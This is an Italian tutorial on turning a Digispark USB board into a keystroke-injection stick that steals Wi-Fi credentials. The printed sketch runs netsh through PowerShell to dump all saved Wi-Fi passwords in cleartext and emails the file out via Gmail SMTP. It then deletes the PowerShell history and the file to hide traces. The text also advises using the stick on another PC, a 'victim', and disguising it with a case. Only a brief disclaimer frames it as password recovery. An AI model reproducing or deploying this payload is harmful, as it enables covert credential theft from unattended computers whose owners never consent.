La chiavetta scova password Wi-Fi

Così si usa una pendrive da pochi euro per recuperare tutte le password Wi-Fi salvate sul nostro computer

Gli utilizzatori di computer sanno benissimo che perdere le password del Wi-Fi è una grandissima seccatura. Bisognerebbe cercare sul manuale del router o guardare sulla targhetta posta sotto di esso, a patto di non averla modificata in seguito, ovviamente. E per le password con le quali ci siamo collegati allo smartphone o alla rete di qualche amico? Problema su problema. Certo, esistono diversi metodi per recuperare le password delle reti. Potremmo installare programmi in grado di andarle a leggere per noi, oppure perdere un sacco di tempo navigando tra menu per scovare dove si nascondono.
Ma il modo più divertente è prendere qualcosa che non c’entra nulla con le reti Wi-Fi e trasformarlo in un qualcosa che possa risolvere il nostro problema in un attimo: una Digispark, ad esempio, è una piccola chiavetta USB con il cuore di un Arduino capace di eseguire dei programmi che possono interagire con il computer.
Questa chiavetta, una volta programmata, è in grado di fare il lavoro sporco al posto nostro, andando a scovare il file con le password e poi inviandocelo ad un indirizzo email da noi specificato.
Certo, a ben vedere, un aggeggio del genere può essere una tentazione irresistibile anche per gli hacker, perché basterebbe avere accesso per qualche minuto ad un qualunque computer per poterne carpire le password di rete all’insaputa dello sventurato di turno, che non avrebbe modo alcuno di scoprire di essere stato vittima di un attacco simile.
Fortunatamente noi non siamo hacker, e non useremo mai quanto contenuto in questo tutorial per estrapolare informazioni da un computer che non sia il nostro. Vero?

Come funziona?

Partiamo da un presupposto fondamentale: la chiavetta Digispark di per sé non cracka un bel niente. Anzi, non fa proprio un bel niente se non gli diciamo noi di farlo. È sostanzialmente inutile se non viene programmata per fare qualcosa.
Nel tutorial che potete seguire in queste pagine abbiamo personalizzato (programmato) e caricato su di essa un software per fargli fare qualcosa di specifico. Molto specifico.
Con poche righe di codice caricate nella chiavetta, abbiamo fatto in modo che la Digispark si trasformasse in una sorta di robottino che digita, al posto nostro, una serie di istruzioni sul PC dove è installata. Con questi di comandi trasmessi via shell, abbiamo aperto la casella di ricerca di Windows e avviato la Network Shell con i parametri necessari affinché elencasse tutte le reti Wireless configurate sul sistema e le relative password. Poi abbiamo fatto in modo di scrivere queste informazioni in un file (wifi.txt) e farcelo spedire al nostro indirizzo email. Il tutto, ovviamente, detto in modo piuttosto semplicistico.

Con quali sistemi operativi funziona?

Il programma che trovate sviscerato in questo tutorial funziona esclusivamente se sul computer nel quale inserite la chiavetta USB truccata si trova installato Windows 8 o Windows 10: ovvero è necessario che sul PC “vittima” sia presente la power shell di sistema. Infine, è opportuno far presente che per farla funzionare a dovere è necessario che il sistema operativo sia caricato e sprovvisto di password.

Quali password invia via email?

Il programma che abbiamo caricato sulla Digispark invia per email un file contenente SSID e Password Wi-Fi nonché altre informazioni utili relative alle reti Wireless configurate sul computer al quale viene collegata. Non cracka nessuna password di posta elettronica, nessuna password di sistema, nessun’altra password. Magari in un futuro prossimo la riutilizzeremo per estenderne le potenzialità. Stay tuned!

Cosa ci occorre

Chiavetta USB Digispark USB Development board
Quanto costa: € 2,50 circa (3 pezzi circa 7,50 euro)
Sito Internet: http://bit.ly/passwordwififree

Driver Digistump Driver
Sito Internet: http://bit.ly/2F7wLIA

App per programmare l’Arduino
IDE Arduino
Sito Internet: http://bit.ly/2F61ghn

Tutto il kit pronto all’uso lo trovi direttamente cliccando qui!

A) Installiamo l’IDE di Arduino

La chiavetta USB Digispark è un Arduino in miniatura e per poterla utilizzare occorre programmarla ad hoc. Installiamo l’IDE di Arduino per scrivere su scheda lo speciale programma che “aspira” le password Wi-Fi.

1. Scarichiamo l’IDE…

Colleghiamoci sul sito http://bit.ly/2R8AmMX (o scarichiamo il kit software da qui); se è la prima volta che lo visitiamo, dovremo accettare le impostazioni cookie cliccando su Accettare e proseguire, poi su Chiudere. Scorriamo la home del sito e clicchiamo a destra su Windows Installer per avviare il download dell’Arduino IDE. Nella schermata successiva un clic su Just download ci farà proseguire.

2. … e installiamolo

Avviamo il file appena scaricato con un doppio clic, accettiamo l’alert dell’account utente e proseguiamo cliccando sul pulsante I Agree, poi Next e infine Install, quindi attendiamo il completamento dell’installazione, nel corso della quale, cliccando su Installa (tre volte), dovremo dare l’ok anche all’installazione dei driver che consentono l’accesso ai dispositivi Arduino collegati al PC. Al termine clicchiamo su Close.

B) Un po’ di configurazioni

Prima di proseguire dobbiamo aggiungere i driver necessari affinché il sistema possa riconoscere la chiavetta USB Digispark ed utilizzarla. A tal proposito, impostiamo l’IDE affinché possa comunicare correttamente con essa.

1. Installiamo i driver della scheda USB

Se la Digispark fosse una normale chiavetta USB allora basterebbe semplicemente inserirla in una porta USB per fare in modo che il sistema la riconosca e possa utilizzarla, ma così non è, quindi abbiamo bisogno di un driver specifico. Apriamo la cartella Digistump Driver presente su http://bit.ly/2F7wLIA (o nel nostro kit scaricabile da qui) e con un doppio clic su DPinst.exe (se hai un Windows a 32 bit) o DPinst64.exe (per sistemi a 64 bit) avviamo l’installazione dei driver adatti a suon di Installa e Fine.

2. Impostiamo la chiavetta per la tastiera italiana

Prima di proseguire, copiamo il file KeyboardES.h (che si trova nel file trovare-password-wifi-master.zip che trovi sempre nel kit software che si scarica da qui) C:\Users\NOMEUTENTE\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard. Dove NOMEUTENTE è il nome utente di Windows sul tuo computer. Questo file è la libreria contenente la mappatura corretta della tastiera italiana, indispensabile per il programma che andremo ad utilizzare in seguito.

3. Aggiungiamo la Digistump

Avviamo Arduino e clicchiamo su Consenti Accesso per dare accesso ad Internet alla Java Platform SE. Forniamo al programma gli strumenti per collegarsi alla nostra scheda USB: File/Impostazioni e in URL aggiuntive per il Gestore schede,inseriamo l’indirizzo https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json e confermiamo con Ok. Da Strumenti, Scheda clicchiamo su Gestore schede e nella nuova finestra digitiamo Digistump.

4. Installiamo la scheda nell’IDE

Nell’elenco dei risultati visibile al di sotto del campo di ricerca dovremo portarci con il puntatore del mouse sulla prima voce (Digistump AVR Boards by Digistump) e cliccare sul pulsante Installa che appare in basso a destra, quindi attendere che vengano scaricati e installati nell’IDE le definizioni delle schede Digistump, che contengono gli strumenti per stabilire una connessione tra l’IDE e la nostra schedina USB. Al termine clicchiamo su Chiudi senza però uscire dal software Arduino.

C) Tutto pronto per la chiavetta

Configurato l’ambiente, siamo pronti a modificare il programma che utilizzeremo per recuperare le password Wi-Fi dal computer. Stai tranquillo: questa procedura finora descritta dovrà essere effettuare soltanto la prima volta.

1. Modifichiamo il programma

Copiamo sul desktop wifi_pass_mailer_ESIX.ino presente nel nostro kit software che scaricate da qui e facciamoci doppio clic, ma prima facciamo Ok nella finestra che compare. Troviamo il rigo con DigiKeyboard.print(F(“$SMTPInfo… e sostituiamo le scritte TUA EMAIL con l’indirizzo email al quale spedire le password e TUA PASSWORD con la password dell’account gmail creato all’uopo (vedi box Prepariamo l’account Gmail). Sostituiamo con la stessa email anche le voci tra virgolette dei campi: $ReportEmail.From = ‘TUA EMAIL’; $ReportEmail.To.Add(‘EMAIL DOVE VUOI RICEVERE LE PASSWORD’).

2. Avviamo la compilazione

Ora possiamo inserire la chiavetta nella nostra porta USB e attendiamo che il computer la riconosca. Clicchiamo su Strumenti per selezionare il dispositivo per il quale compilare, quindi clicchiamo su Scheda e selezioniamo Digispark (Default – 16.5 MHz). Clicchiamo sull’icona con la freccia verso destra visibile in alto sotto i menu e attendiamo che nel riquadro in basso appaia la scritta Plug in device now….
Quando accade, colleghiamo la chiavetta e non appena riceviamo il messaggio Micronucleus done… e scolleghiamola.

3. La chiavetta scova password in funzione!

Dopo aver preparato la speciale pennetta copiando su di essa il programma che recupera le password Wi-Fi e le invia ad un indirizzo email, possiamo passare all’azione. Rechiamoci su un altro PC e inseriamo la chiavetta “truccata” in una porta USB. Dopo qualche istante si avvierà in automatico il software spia inviando all’email specificata le password Wi-Fi del computer alla quale è collegata. Bastano 25 secondi e il gioco è fatto!

Prepariamo l’account Gmail

In questo tutorial stiamo vedendo come realizzare una speciale chiavetta USB in grado di inviare al nostro indirizzo di posta elettronica tutte le credenziali Wi-Fi impostate sul computer nel quale è inserita.
Per farlo è necessario abilitare l’accesso alle app meno sicure sull’account di posta che dovrà ricevere le email con le password. Così facendo, però, si abbassa drasticamente la sicurezza della casella di posta elettronica ed è quindi fortemente consigliabile utilizzare un account email appositamente realizzato per lo scopo e non quello personale. Una volta realizzato un account ad hoc quindi, digitiamo https://myaccount.google.com/ nel browser e poi clicchiamo sul menu Sicurezza. Scorriamo la pagina fino a trovare la sezione Accesso app meno sicure (oppure puntiamo il browser su https://myaccount.google.com/lesssecureapps e clicchiamo su Attiva accesso (sconsigliato), quindi sullo slider per abilitare l’accesso alle app meno sicure. Adesso possiamo anche effettuare il logout dalla gestione account.

Costruiamo un case per la chiavetta

La chiavetta Digispark arriva a casa nostra “nuda”, ovvero senza un case che possa proteggerne i suoi componenti. Se abbiamo una stampante 3D possiamo però risolvere questo piccolo problema in modo semplice stampandone uno. Per non sbagliare, possiamo prelevare un file STL da “dare in pasto” alle stampante con il quale potremo creare un case che renda la Digispark simile ad una comune chiavetta USB, proteggendola da urti e danneggiamenti accidentali dei componenti interni e, al contempo, le dia pure un’aria molto più “tranquilla”.
Link per il download: http://bit.ly/2AD7T7E

Crackare le reti Wi-Fi? Non si fa!

Nell’articolo abbiamo usato una chiavetta USB appositamente riprogrammata con un nobile fine: recuperare la password Wi-Fi della nostra rete o di quella di un amico che, distrattamente, non l’ha trascritta da nessuna parte. È chiaro che la chiavetta può anche essere usata per scopi meno decorosi come, ad esempio, scoprire le password altrui. Noi in redazione non finiremo mai di dirti che entrare abusivamente nelle reti telematiche è un reato perseguibile dalla legge. Non fare sciocchezze, non crackare le reti!

Come funziona il programma che spia le password Wi-Fi?

Programmare un Arduino o una qualunque altra scheda basata su di esso è abbastanza semplice. Il linguaggio di programmazione Wiring supporta la definizione di costanti e variabili oltre all’utilizzo di librerie esterne e funzioni.
Il programma ha una struttura rigida: prima vengono inserite le variabili e le costanti, poi le funzioni richiamabili, quindi il setup e infine il loop. L’inizio e la fine delle funzioni, del setup e del loop è segnato da parentesi graffe. Diamo uno sguardo un po’ più da vicino al programma che stiamo caricando sulla chiavetta USB Digispark.

include “KeyboardES.h”

Questo rigo carica la libreria KeyboardES.h, al cui interno è contenuta la mappatura dei tasti della tastiera italiana. Verrà utilizzata dal comando DigiKeyboard.sendKeyStroke() per simulare la pressione di un tasto.

void setup() {
}

Tutti i programmi Arduino iniziano con questo rigo. È con void setup() che si possono impostare le porte della scheda perché agiscano da input o output. Può contenere anche dei comandi che vengono eseguiti una sola volta, non appena si collega la scheda.

void loop() {

Void loop() contiene tutte le informazioni e le istruzioni relative all’esecuzione del programma da caricare sulla scheda. Tutto ciò che è contenuto in questa sezione viene eseguito in loop, ovvero quando si arriva alla fine il programma ricomincia.

DigiKeyboard.sendKeyStroke(0);

Quest’istruzione invia al sistema un tasto, ovvero simula la pressione di un tasto o di un gruppo di tasti.

DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(1000);

Quest’istruzione inserisce il ritardo specificato tra parentesi in millisecondi tra l’invio di un tasto e l’altro.

DigiKeyboard.print(F(“(netsh wlan show profiles) | Select-String ‘\:(.+)$’ | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name
key=clear)} | Out-File wifi.txt; exit”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_X,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S,MOD_ALT_LEFT);
DigiKeyboard.delay(1000);

Il comando DigiKeyboard.print permette di “stampare” qualcosa, cioè permette di prendere dei caratteri e mostrarli a video, creare un file o inviarli alla stampante. Nel nostro caso la stringa “Out-File wifi.txt” indica che con i caratteri in output verrà creato un file chiamato wifi.txt.

DigiKeyboard.print(F(“$SMTPInfo = New-Object Net.Mail.SmtpClient(‘smtp.gmail.com’, 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(‘Indirizzodiposta’, ‘passworddiposta’); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = ‘ Indirizzodiposta’; $ReportEmail.To.Add(‘Indirizzodiposta’); $ReportEmail.Subject = ‘Ricerca Password WiFi :)’; $ReportEmail.Body = ‘Il file con le password è in allegato. ‘; $ReportEmail.Attachments.Add(‘wifi.
txt’); $SMTPInfo.Send($ReportEmail); exit”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(1000);

Queste istruzioni permettono di aprire una porta di comunicazione con il server di posta elettronica Gmail, si inviano nome utente (l’indirizzo di posta elettronica) e la password, si “scrive” il testo dell’email, si allega il file wifi.txt e la si invia.

DigiKeyboard.print(F(“del(Get-PSReadlineOption).HistorySavePath;exit”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(“cmd”);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);

Questa linea di codice elimina la cronistoria dei file salvati, così non resterà nessuna traccia della creazione del file wifi.txt.

DigiKeyboard.print(F(“del wifi.txt”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F(“exit”));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}

Qui il file wifi.txt, creato in precedenza, viene cancellato dal disco rigido per non lasciare tracce fisiche sul computer.